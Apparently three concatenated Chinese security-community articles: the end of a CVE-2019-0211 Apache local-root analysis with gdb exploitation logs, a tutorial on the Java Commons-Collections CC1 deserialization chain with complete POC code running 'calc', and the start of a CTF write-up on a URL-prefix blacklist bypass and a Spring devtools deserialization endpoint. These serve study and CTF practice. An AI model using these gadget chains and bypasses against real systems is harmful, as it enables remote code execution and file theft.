##### 执行apachectl graceful，使其优雅重启
[root@bogon john]# apachectl graceful
[root@bogon john]#
##### 修改my_bucket
我们将my_bucket，设置为0x7f1f62a3e140，该地址是执行恶意PHP代码时，输出的evil_shm_mid_addr
Continuing.
Program received signal SIGUSR1, User defined signal 1.
0x00007f1f612bdf53 in __select_nocancel () from /lib64/libc.so.6
(gdb) c
Continuing.
[New process 20155]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Switching to Thread 0x7f1f62ae9780 (LWP 20155)]
Breakpoint 1, child_main (child_num_arg=child_num_arg@entry=0, child_bucket=child_bucket@entry=0) at prefork.c:380
380 {
(gdb) set my_bucket = 0x7f1f62a3e140
(gdb) c
Continuing.
[New process 20177]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 20177 is executing new program: /usr/bin/bash
Error in re-setting breakpoint 1: Function "child_main" not defined.
process 20177 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: debuginfo-install bash-4.2.46-31.el7.x86_64
[Inferior 3 (process 20177) exited normally]
Missing separate debuginfos, use: debuginfo-install coreutils-8.22-23.el7.x86_64
(gdb)
##### 查看根目录，发现利用成功
➜ ~ ls /
bin boot dev etc hello home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var www➜ ~ ls / bi
## 0x06 EXP分析
1.在作者提供的Exp中，没有依赖具体的硬编码数值。在get_all_address函数中利用
/proc/self/maps和文件读取的方式定位到了如下shm, system, libaprR, libaprX, apache,
zend_object_std_dtor几个函数的地址以及共享内存起始地址。
2.在get_workers_pids中通过枚举/proc//cmdline and
/proc//status文件，得到所有worker进程的PID，用于后续在共享内存中定位process_score地址。
3.最终在real函数中，作者通过在共享内存中查找worker
process的PID从而定位到每个process_score结构，并利用被UAF漏洞修改过的字符串对内存进行修改。利用内存模式匹配找到all_buckets的起始位置，并复用了
在scoreboard中空闲的servers结构保存生成的payload。最后利用在2步中获取的worker进程id找到所有的process_score，将其中的bucket修改成指定可利用的值。
## 0x07 时间线
2019-02-22 作者发送漏洞说明和PoC到security[at]apache[dot]org
2019-02-25 确认漏洞，处理修复工作
2019-03-07 Apache安全团队发送补丁给作者进行检查，并给作者分配CVE
2019-03-10 作者同意该补丁
2019-04-01 Apache HTTP版本2.4.39发布
2019-04-03 360-CERT发布预警通告
2019-04-03 作者发布漏洞细节
2019-04-08 作者发布Exp
2019-04-09 360-CERT发布分析报告
## 0x08 参考链接
1. [apache scoreboard worker_record](https://www.cnblogs.com/my_life/articles/3328577.html)
2. [Apache中多任务并发处理机制研究(1)](https://blog.csdn.net/tingya/article/details/867371)
3. [源码编译安装apache](https://blog.csdn.net/m0_37886429/article/details/79643078)
4. [学习《apache源代码全景分析》之多任务并发处理摘录](https://blog.csdn.net/zhangge3663/article/details/83343937)
5. [作者发布的漏洞细节](https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html)
6. [在linux下的apache配置https协议，开启ssl连接](https://blog.csdn.net/h330531987/article/details/74991005)
7. [PHP编写扩展调用动态so库](https://zhuanlan.zhihu.com/p/36254933)
8. [作者发布Exp](https://github.com/cfreal/exploits/tree/master/CVE-2019-0211-apache) | 社区文章 |
# 1.前言
**注意：需要边看边实操！**
**必看** ：
* 先看：[Java反序列化Commons-Collections篇01-CC1链](https://drun1baby.github.io/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#toc-heading-2) 进行实操
* 实操完回顾：[Java安全漫谈 - 09.初识CommonsCollections](https://t.zsxq.com/BmIIAy3) , [Java安全漫谈 - 10.用TransformedMap编写真正的POC](https://t.zsxq.com/ZNZrJMZ), [CommonsCollections1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonsCollections1/CommonsCollections1.md)
* 视频讲解：[Java反序列化CommonsCollections篇(一) CC1链手写EXP](https://www.bilibili.com/video/BV1no4y1U7E1?vd_source=1133eb6c801917b16b324ad28ad16d2e)
### 环境搭建
1.<https://blog.csdn.net/weixin_44502336/article/details/127641619>
2.JDK下载地址：<https://blog.lupf.cn/category/jdkdl>
下载通用密码：8899
（别从博客那个链接下，那个下载的8u65实际上是8u111，后面的实验会做不了）
* * *
## Code：
**第二部分.java:**
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
public class CommonCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(runtime);
}
}
}
**第三部分.java**
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
public class CommonCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
Map map = new HashMap();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}
, new Object[]{"C:\\WINDOWS\\system32\\calc.exe"});
Map tranformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class transformedMapClass = Class.forName("org.apache.commons.collections.map.TransformedMap");
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(tranformedMap, runtime);
}
}
**第一个问题.java**
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
public class CommonCollections1 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); // 这一句是触发命令执行的关键核心,需要找方法去替代这条语句
// 分割线
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> decorateMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
for (Map.Entry entry : decorateMap.entrySet()) {
entry.setValue(Class.forName("java.lang.reflect").getMethod("getRuntime"));
}
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorAnnotationInvocationHandlerClass = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class,Map.class);
constructorAnnotationInvocationHandlerClass.setAccessible(true);
Object o = constructorAnnotationInvocationHandlerClass.newInstance(Override.class,decorateMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
**理想情况.java**
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
* * *
# 2.链子按功能切割
( **JDK 8U71之前的版本能触发** )
这里 **将链子分为三部分** ，各部分的作用：
* 第三部分：链尾，用于命令执行
* 第二部分：传导
* 第一部分：触发，即寻找调用了readObject的地方
## 2.1 **第三部分的chain:**
(这里的`1,2,3`只是参数1，参数2，参数3的意思,下同)
先初始化:
TransformedMap.decorate(1,2,3) 静态方法
TransformedMap.TransformedMap(1,2,3)
再调用 **TransformedMap.checkSetValue()** 去激活 **TransformedMap.transform()**
,从而达到命令执行的目的
**为什么需要 hashMap对象** ：为了构造 `TransformedMap.decorate()`方法，它要什么参数就给它什么参数
### 命令执行的关键
`InvokerTransformer`这个类可以⽤来执⾏任意⽅法，这也是反序列化能执⾏任意代码的关键。
在实例化这个`InvokerTransformer`时，需要传⼊三个参数，
第⼀个参数是待执行的方法名，第⼆个参数是这个函数的参数列表的参数类型，第三个参数是传给这个函数的参数列表
`InvokerTransformer`类的`transform`方法中用到了反射，只要传参进去就能反射加载对应的方法
关键地方：
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
### 为什么要去找调用 `transform` 方法的不同名函数
为了调用checkSetValue函数时，能触发 `valueTransformer.transform(value)`
从而形成 **InvokerTransformer.transform()** ，也就达成了命令执行的目的 **（参见[命令执行的关键]）**
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
POC对应语句：
checkSetValueMethod.invoke(tranformedMap, runtime);
详情代码查看 **[第三部分.java]**
* * *
## 2.2第二部分的Chain
* 前言：[何为抽象类](https://www.runoob.com/java/java-abstraction.html)
### 思考这句话有什么错误？：
我们在进行 `TransformedMap.decorate` 方法调用，进行 Map 遍历的时候，就会走到 `setValue()` 当中，而
`setValue()` 就会调用 `checkSetValue` —— [Java反序列化Commons-Collections篇01-CC1链](https://drun1baby.github.io/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/#toc-heading-2)
其实博客原文的这句话应该拆开来看：
**解答：**
1.首先请仔细看 **TransformedMap的类继承关系:**
2.为什么执行`TransformedMap.decorate`方法调用，会进行 Map 遍历？：
2-1. 我分析得出的结论： **这句话是错的** ，其实并不会进行Map遍历
2-2. 为什么不会进行Map遍历：
`TransformedMap.decorate`方法：
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
`TransformedMap`构造方法：
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
是因为`TransformedMap`构造方法使用了 **super(map)**
,且`AbstractInputCheckedMapDecorator`也使用了
**super(map)(参见[TransformedMap的类继承关系])** ,最终导致调用了Map,但 **并没有进行遍历Map**
3.当时我看博客我所不解的地方：
`AbstractMapDecorator`类中并无实现`setValue()`方法，它只是实现了Map接口，但它是如何实现
**{走到`setValue()`当中}** 的呢？
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}
所以我进行了如下调试：
前言部分：
* **entrySet解释：**
**每一个键值对也就是一个Entry**
entrySet是 java中键-值对的集合，Set里面的类型是`Map.Entry`，一般可以通过`map.entrySet()`得到。
详情代码查看 **[第二部分.java]**
第二部分核心代码中有一句能够 **把键值取出来** 的核心代码：
因此我们重点调试这个 核心代码
for (Map.Entry entry:decorateMap.entrySet()){
entry.setValue(runtime);
}
AbstractInputCheckedMapDecorator.entrySet()：
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}
AbstractInputCheckedMapDecorator.EntrySet.EntrySet()：
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
super(set);
this.parent = parent;
}
这里就将 TransformedMap类型的 parent 传递给了 this.parent
**为什么是 TransformedMap类型** ，
而不是 AbstractInputCheckedMapDecorator类型 ，是因为 AbstractInputCheckedMapDecorator
是抽象类所以不能实例化只能让它的 **非抽象类子类** 实例化 **(参见[TransformedMap的类继承关系])**
然后继续F7跟进，直到来到这：(跳过了一些无关紧要的map操作)。
AbstractInputCheckedMapDecorator.EntrySetIterator.next：
public Object next() {
Map.Entry entry = (Map.Entry) iterator.next();
return new MapEntry(entry, parent);
}
关键是 `return new MapEntry(entry, parent);` 这句， MapEntry 是
AbstractInputCheckedMapDecorator 的内部类 。
AbstractInputCheckedMapDecorator.MapEntry.mapEntry：
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
这里和上面一样， **parent 也是TransformedMap** 。 成功赋值后，当我们的第二部分核心语句 **（参见[第二部分核心代码]）**
执行了 `entry.setValue(runtime);` 这句时，会调用 MapEntry 类的 setValue方法。从而连上链子的第三部分。
AbstractInputCheckedMapDecorator.MapEntry.setValue：
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
#### 正确解读：
因此，这句话 **(参考[思考这句话有什么错误？])** 的正确语序应该是这样的( **注意标点符号** )：
我们在进行 `TransformedMap.decorate` 方法调用（完成后）。（然后）进行 Map 遍历的时候，就会走到 `setValue()`
当中，而 `setValue()` 就会调用 `checkSetValue`
## 2.3第一部分的Chain
既然 是通过
`AbstractInputCheckedMapDecorator.MapEntry.setValue`方法进行传导的，那就看看谁调用了这个方法（右键点击查找用法）。
如果发现一个类符合以下两个条件的：
* 调用了 setValue 方法
* 调用了 readObject 方法
那这个类就是天生能被利用的类
经查询来到 sun.reflect.annotation.AnnotationInvocationHandler.readObject：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
关键点在于 **需要进入两个If 和 memberValue.setValue** ：
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
因此我们需要控制 memberValue ，途径恰好在 AnnotationInvocationHandler类 的构造函数
此外AnnotationInvocationHandler类 的作用域为 default（ **并不是使用default关键字，而是省略访问控制符** ）
default权限是 **只能类内部和同一个包访问** ，所以我们外部包调用它时需要引入 **反射**
（详情代码 **参照[理想情况下.java]** ）
* * *
### 理性情况下需要解决的两个问题：
* `Runtime` 对象不可序列化，需要通过反射将其变成可以序列化的形式。
* `sun.reflect.annotation.AnnotationInvocationHandler.readObject()中的setValue()` 的传参，是需要传 `Runtime` 对象的且要进入两个 if 判断
#### 1.第一个问题的两种写法
(本质一样，但第二种写法减少代码复用)：
即将 （详情代码 **参照[理想情况下.java]** ）
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
改写成以下两种格式之一：
1-1.
// 对应 Method runtimeMethod = r.getMethod("getRuntime");
Class c = Runtime.class;
Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}).transform(c);
// 对应 Runtime runtime = (Runtime) runtimeMethod.invoke(null,null);
Runtime runtime1 = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(runtimeMethod);
// 执行calc
runtimeClass1.getMethod("exec", String.class).invoke(runtime1,"calc");
共同点：
* 格式都为 `new InvokerTransformer().transform()`
* 后一个 `transform()` 方法里的参数都是前一个的结果
为什么这么写：
**参照[命令执行的关键]**
1-2. 或者写成这种：
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
最后和其他未改变的部分进行拼接,详情代码参考 **第一个问题.java**
##### 第一个问题为什么这样就解决了？
`Runtime` 是不能序列化的，但是 `Runtime.class` 是可以序列化的
#### 2.第二个问题
需要 **注解类型的参数** 传入，且不为空。否则第一个If进不去：
sun.reflect.annotation.AnnotationInvocationHandler.readObject：
可以通过构造函数进入传入 type ， 所以现在先 **找到一个类，这个类含有不为空的注释** 。
找到的这个类是：
sun/reflect/annotation/AnnotationTypeMismatchExceptionProxy.java
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)
博客中 给的是 Target.class，也许还有别的也能用？
Retention.class也能用 —— [Java安全漫谈 -10.用TransformedMap编写真正的POC](https://t.zsxq.com/ZNZrJMZ)
* `sun.reflect.annotation.AnnotationInvocationHandler` 构造函数的第一个参数必须是
Annotation的子类，且其中必须含有至少一个方法，假设方法名是`X`
* 被 `TransformedMap.decorate` 修饰的Map中必须有一个键名为`X`的元素
所以，这也解释了为什么我前面用到 Retention.class ，因为Retention有一个方法，名为value；所
以，为了再满足第二个条件，我需要给Map中放入一个Key是value的元素：
但是`memberValue.setValue`的值不能被控制，
所以寻找一个类，这个类能轻易被我们传入参数且能和 **ChainedTransformer** 配合将要执行的命令"揉在一起"：
org.apache.commons.collections.functors.ConstantTransformer：
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
这个类的构造函数和transform方法配合使用，能把我们传入的任意值取出。这样我们定义一个TransformMap数组，然后扔给
ChainedTransformer去生成一个对象，ChainedTransformer对象再扔进TransformedMap.decorate,从而让链子连起来
这样，我们就将理想情况改成了可实际利用的，同时也是第二个问题的核心：
**（参照[第一个问题.java]）**
chainedTransformer.transform(Runtime.class); // 这一句是触发命令执行的关键核心,需要找方法去替代这条语句
被替换为：
**（参照[完整POC.java]）**
new ConstantTransformer(Runtime.class),// 构造 setValue 的可控参数,也就是替换掉了 第一个问题.java 中的 chainedTransformer.transform(Runtime.class);
详情代码参考 **完整POC.java**
# 3.LazyMap链
**前言：**
必读：
[Java安全漫谈 - 11.LazyMap详解](https://t.zsxq.com/FufUf2B)
**ysoserial 工具并没有使用TransformedMap，而是使用了LazyMap**
**(完整代码查看LazyMap链.java)**
### 如何利用：
LazyMap构造函数和get方法配套使用：
org/apache/commons/collections/map/LazyMap.java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
和TransformedMap的POC相比，少了 **hashMap.put("value", "test");** ，是因为LazyMap.get()方法
在没有键值的情况下才会触发 **factory.transform(key);**
知道了如何利用，但要对原本的TransformedMap链进行修改：
原因是在sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法
但AnnotationInvocationHandler类的invoke方法有调用到get，引入动态代理
**（参照[<https://xz.aliyun.com/t/9197]）>**
引入动态代理的条件：
* 实现 InvocationHandler 接口
* 重写`invoke()`方法
恰好的是，AnnotationInvocationHandler 都满足：
class AnnotationInvocationHandler implements InvocationHandler, Serializable
### 动态代理在LazyMap链的示意图：
用户(readObject) --> 代理类对象(proxy) --> 目标类对象( LazyMap(AbstractMapDecorator(Map) )
### 动态代理在何处工作？
当我在AnnotationInvocationHandler.java 的444行（444行是readObject方法）
444行：
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
进行调试的时候,F7跟进会发现使用了AbstractMapDecorator.entrySet(),结合LazyMap类的继承关系：
可以得知，动态代理在这进行了操作。
* * *
### LazyMap分析流程
重新调试：
既然LazyMap.get如此关键，那我们就调试它，看看能不能分析流程。
**只在 LazyMap.java的155行下断点** ：
public Object get(Object key)
调试器给出的执行过程：
**从上到下只看前4个** ，执行顺序：
1. AnnotationInvocationHandler.readObject
2. $Proxy1.entrySet（动态代理自动生成）
3. AnnotationInvocationHandler.invoke
4. LazyMap.get
# 3.它是如何修复这条链子的？
前面说过，需要遍历Map（遍历使用了Map的一些方法）去触发setValue()。而遍历Map的操作恰好放在了
`sun.reflect.annotation.AnnotationInvocationHandler.readObject` 中：
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
......
}
所以只要不让它遍历Map即可。
它的修复方案：不直接通过readObject进行操作了，而是新建了一个LinkedHashMap对象，并将原来的键值添加进去。
# 4.链子流程图和简洁概括
**3-1 链子流程图：**
我的理解加分析总结的：
**3-2 简洁概括(不包含工具链)：**
**3-2-1 TransformedMap：**
我们在进行 **TransformedMap.decorate** 方法调用完成后（第三部分）。接着传递给
**AnnotationInvocationHandler.readObject** 用于开启反序列化（第一部分），当执行反序列化时会执行
**setValue()** （因为Map遍历了），而 **setValue()** 就会调用 **checkSetValue** （第二部分），就会激活
**TransformedMap.transform()** （第三部分）,从而达到 **InvokerTransformer** 命令执行的目的
TransformedMap链：
利用链：
AnnotationInvocationHandler#readObject
AbstractInputCheckedMapDecorator#setValue
TransformedMap#checkSetValue
InvokerTransformer#transform
使用到的工具类辅助利用链：
ConstantTransformer
ChainedTransformer
HashMap
**3-2-2 LazyMap：**
LazyMap链的执行顺序：
1.`AnnotationInvocationHandler.readObject` 执行到 `for (Map.Entry<String, Object>
memberValue : memberValues.entrySet())` 进入动态代理。
2.动态代理调用`AnnotationInvocationHandler.invoke`
，然后执行到了`memberValues.get(member);` 就跳转到 `LazyMap.get()`）
3.`LazyMap.get()` 调用`factory.transform()`，连上链子，从而实现命令执行
LazyMap链：
利用链：
AnnotationInvocationHandler.readObject
AnnotationInvocationHandler.invoke（动态代理操作的）
LazyMap.get()
factory.transform() (ChainedTransformer.transform())
TransformedMap#checkSetValue
InvokerTransformer#transform
使用到的工具类辅助利用链：
ConstantTransformer
ChainedTransformer
HashMap
# 5.思考
1.对学习他人文章的思考
* 学习他人的文章难免会有歧义，因为只有作者本人才会清楚文字所表达的意思。因此我们学习任何人的文章都要保持怀疑的态度（因为你个人的理解是和作者本人的理解可能会有偏差），包括我这篇文章
* 如何解决歧义问题
* 调试，永远都是第一选择。因为只有程序不会说谎
* 自己写文章。自己写的文章自己风格最了解，也就最理解想表达的意思
* 一手资料永远都是表达的最精准的，但是解读起来很难啃，所以借助他人文章很有必要（站在巨人的肩膀上）
* 借助的文章要借助多个师傅的，取他人所长。
* 永远感激这些拥有分享精神的师傅 | 社区文章 |
### 0x01 背景
最近接触到一道与Java反序列化利用相关的CTF题目，由于之间接触Java反序列化比较少，并且这道题的反序列化利用中涉及到几个比较有意思的地方，例如URLConnection对访问协议处理的特性、Devtools中存在的反序列化面等，因此将解题过程记录分享。
### 0x02 SSRF到任意文件读
题目提供了一个Jar包用于分析，用IDEA打开Jar包后发现是一个逻辑很简单的Springboot项目。
@RequestMapping(value = "/", method = RequestMethod.GET)
public Object index(){
return new RedirectView("/hello");
}
@RequestMapping(value = "/pathneverguess", method = RequestMethod.GET)
@ResponseBody
public String ping(@RequestParam String url){
return PingUtil.ping(url);
}
@RequestMapping(value = "/hello", method = RequestMethod.GET)
@ResponseBody
public Result hello(){
Result res = new Result(200, "hello 123");
return res;
}
控制器中只有三个访问路由，只有第二个路由对请求进行了处理。将传入的url提出来并且作为传参调用PingUtil类的ping方法。进入PingUtil类后看到类的三个函数如下：
public static String cleanUrl(String url){
Integer right = url.length();
Integer left = 0;
while ((right > 0) && (url.charAt(right - 1) <= ' ')) {
right--;
}
while ((left < right) && (url.charAt(left) <= ' ')) {
left++;
}
return url.substring(left, right);
}
public static Boolean validate(String cand){
String blacklist = "^[file|netdoc|jar|ftp|mailto]";
Pattern pattern = Pattern.compile(blacklist, Pattern.CASE_INSENSITIVE);
Matcher matcher = pattern.matcher(cand);
boolean matchFound = matcher.find();
if(matchFound) {
return false;
} else {
return true;
}
}
public static String ping(String urlString){
String ret = "";
OutputStream os = new ByteArrayOutputStream();
if(validate(cleanUrl(urlString))) {
try {
URL url = new URL(urlString);
URLConnection urlConnection = url.openConnection();
urlConnection.setReadTimeout(5 * 1000);
InputStream is = urlConnection.getInputStream();
byte[] bs = new byte[1024];
int len;
while ((len = is.read(bs)) != -1) {
os.write(bs, 0, len);
}
os.close();
is.close();
ret = os.toString();
} catch (Exception e) {
e.printStackTrace();
}
}else ret = "please buy me a Java XD";
return ret;
}
ping函数中首先调用clearnUrl和validate对url参数进行了校验，如果通过校验，url将作为URLConnection的参数去访问url指向的资源，并且将访问结果返回输出。其中，clearUrl函数没有特别的地方，主要的过滤是在validate函数逻辑，它定义了`^[file|netdoc|jar|ftp|mailto]`正则表达式对所有以这5种字符串开头的url进行了校验，并且大小写不敏感。
查找资料后发现在Java8版本中，Java
的URLConnection支持的协议没有了gopher，而这5种协议又被限制，能使用的http/https在这里很无害，因此只能想办法绕过这个过滤。直接跟进URL类的构造函数查看，可以定位到`URL(URL
context, String spec, URLStreamHandler
handler)`构造函数中，传参的spec即为传入的url。在构造函数中有一处定位url起始位置的处理逻辑格外引人注意：
limit = spec.length();
while ((limit > 0) && (spec.charAt(limit - 1) <= ' ')) {
limit--; //eliminate trailing whitespace
}
while ((start < limit) && (spec.charAt(start) <= ' ')) {
start++; // eliminate leading whitespace
}
//引人注意的地方
if (spec.regionMatches(true, start, "url:", 0, 4)) {
start += 4;
}
//这里省略无关的代码
......
//定位提取Protocol
for (i = start ; !aRef && (i < limit) &&
((c = spec.charAt(i)) != '/') ; i++) {
if (c == ':') {
String s = spec.substring(start, i).toLowerCase();
if (isValidProtocol(s)) {
newProtocol = s;
start = i + 1;
}
break;
}
}
具体来说，如果url（spec）开头4个字符是`url:`，那么start位置会+4到达`url:`之后的位置进行后续正常的url解析处理。在后面的循环中将会取用start位置到字符“:”位置之前的字符提取为protocol并调用对应的handler，因此可以借用这个逻辑去绕过正则黑名单的校验，使得原本的http/https
SSRF转为了任意文件读取。
Java中的file和netdoc都能够直接列目录，在根目录下看到了flag文件，但是没有权限直接读取。同时还存在一个catforflag的二进制程序，因此推测需要命令执行去读取flag。
### 0x03 Devtools反序列化
在直接读取flag无果后，读取了`/proc/self/environ`并且看到下述内容。
从返回结果中可以看到一个比较可疑的SERECT变量，并且确定了JDK的版本是8u265。配合项目中引用的依赖库和Jar包中`application.properties`里设置的配置值`spring.devtools.remote.secret=${SECRET}`，基本可以确定是和devtools有关。
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<optional>true</optional>
</dependency>
查阅了Springboot中devtools相关资料，在看了大量介绍调试的文章后，最后在一篇今年2月份国外的文章里看到介绍了关于devtools存在弱secret口令可以导致反序列化的问题，文章链接如下：
<https://medium.com/@sherif_ninja/springboot-devtools-insecure-deserialization-analysis-exploit-2c4ac77c285a>
其中的核心部分在于这个调试工具提供了对应的接口能够对用户提交的POST内容进行反序列化。
其中处理http接口请求的处理部分在`org.springframework.boot.devtools`中restart/server的HttpRestartServerHandler类中：
public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException {
this.server.handle(request, response);
}
具体处理在HttpRestartServer类中，代码中通过readObject反序列化POST中传输的HTTP请求体：
public void handle(ServerHttpRequest request, ServerHttpResponse response) throws IOException {
try {
Assert.state(request.getHeaders().getContentLength() > 0L, "No content");
ObjectInputStream objectInputStream = new ObjectInputStream(request.getBody());
ClassLoaderFiles files = (ClassLoaderFiles)objectInputStream.readObject();
objectInputStream.close();
this.server.updateAndRestart(files);
response.setStatusCode(HttpStatus.OK);
} catch (Exception var5) {
logger.warn("Unable to handler restart server HTTP request", var5);
response.setStatusCode(HttpStatus.INTERNAL_SERVER_ERROR);
}
